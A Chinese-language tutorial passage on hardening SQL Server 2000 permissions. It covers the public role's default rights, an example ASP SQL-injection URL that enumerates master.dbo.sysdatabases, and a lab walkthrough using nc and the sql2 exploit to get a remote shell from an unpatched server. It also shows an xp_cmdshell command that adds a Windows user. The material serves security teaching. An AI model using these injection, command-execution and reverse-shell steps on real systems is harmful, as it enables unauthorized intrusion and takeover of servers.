1）、新建aaa用户

如图17，新建登录后出现图18界面，输入用户名aaa，在输入个强壮的密码。

　

　

2）、设置权限

如图18，在“服务器角色”选项中什么也不选，如图19，在“数据库访问”选项中只选“xyz”库，也就是说只让aaa用户访问xyz库。“数据库角色中允许”只选默认的“public”。

　

　

3）、测试

设置好后，用aaa用户登陆“SQL 查询分析器”，如图21，执行exec xp_cmdshell 'net user user1 /add'，出现了期待的结果，没有权限执行。

　

接着执行SELECT name FROM sysdatabases where dbid>6，期待的结果是没有权限执行，可实际的结果和图10的查询结果一模一样，aaa用户不是没有master库的权限吗？aaa用户除了不能访问自己建的库wz_cxxt_new外，其它的库都能访问，问题出在哪呢？

问题出在public 角色，下面这段话是SQL Server帮助中写的。

ublic 角色是一个特殊的数据库角色，每个数据库用户都属于它。public 角色：

· 捕获数据库中用户的所有默认权限。

· 无法将用户、组或角色指派给它，因为默认情况下它们即属于该角色。

· 含在每个数据库中，包括 master、msdb、tempdb、model 和所有用户数据库。

· 无法除去。

如图22是master库中的“public”角色，双击“public”，在界面中单击“权限”，出现图23界面，可以看到该角色具有sysdatabases的访问权限。可以看到权限分得非常细，有select、insert、update、delete等，如图24，把权限改为禁止，再执行SELECT name FROM sysdatabases时出现了“拒绝了对对象 'sysdatabases'（数据库 'master'，所有者 'dbo'）的 SELECT 权限。”的提示。

　

　

　

Public角色默认没有执行扩展存储过程的权限，但可以赋予该角色执行的权限，有访问库的权限，也可以去掉。看到这，是不是觉得非常麻烦，本来权限的设置就是个双刃剑，设置得过于宽松会有安全漏洞，过于严格在程序运行时可能会出问题，本文无法给出一个彻底的解决方案，只要在懂得原理的基础上，在实践中不断摸索才能理出一个最佳方案。

3、注入

对于SQL Server+ASP的注入，有一种是ASP连接SQL Server用户的权限足够大，而ASP程序本身有漏洞，而从而构造出类似http://www.***.com/aaa.asp?id=2300 and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) 这样的SQL语句，根据前文讲的原理暴出库、表及相应的纪录。

关于注入有许多精彩和经典的文章，还有像NBSI2那样好用的工具，在此就不班门弄斧了。

三、SQL Server不打补丁的漏洞

小王的SQL Server是安装在win 2000上的，没有打补丁，没打补丁的SQL Server就是个大漏勺，无论你的权限设置的多么严格都是一张一捅就破的烂纸。下面的例子是对有漏洞的SQL Serve（安装在192.168.113.10这台机器上）的攻击，实验中用到了两个工具，nc和sql2，nc别名瑞士军刀，是古老且十分强大的网络工具，如果想知道详细用法请参考网上的相关资料，sql2是专门攻击有漏洞的SQL Serve（sp2以下，含sp2），过程如下：

如图25，在我的机器（IP地址为192.168.113.207）的命令窗口下（运行cmd）运行nc –l –p 77，意思是在本机开个77的端口

新建一个命令窗口，运行sql2 192.168.113.10 192.168.113.207 77 0

如果192.168.113.10上的SQL Serve有漏洞，192.168.113.207的nc监视窗口就会出现下图26的界面，注意！这个界面可是装有SQL Serve机器的，换句话，我们已经入侵到这台机器了。接着看下图27，用ipconfig 查的地址是192.168.113.10，它归你控制了，简单吧！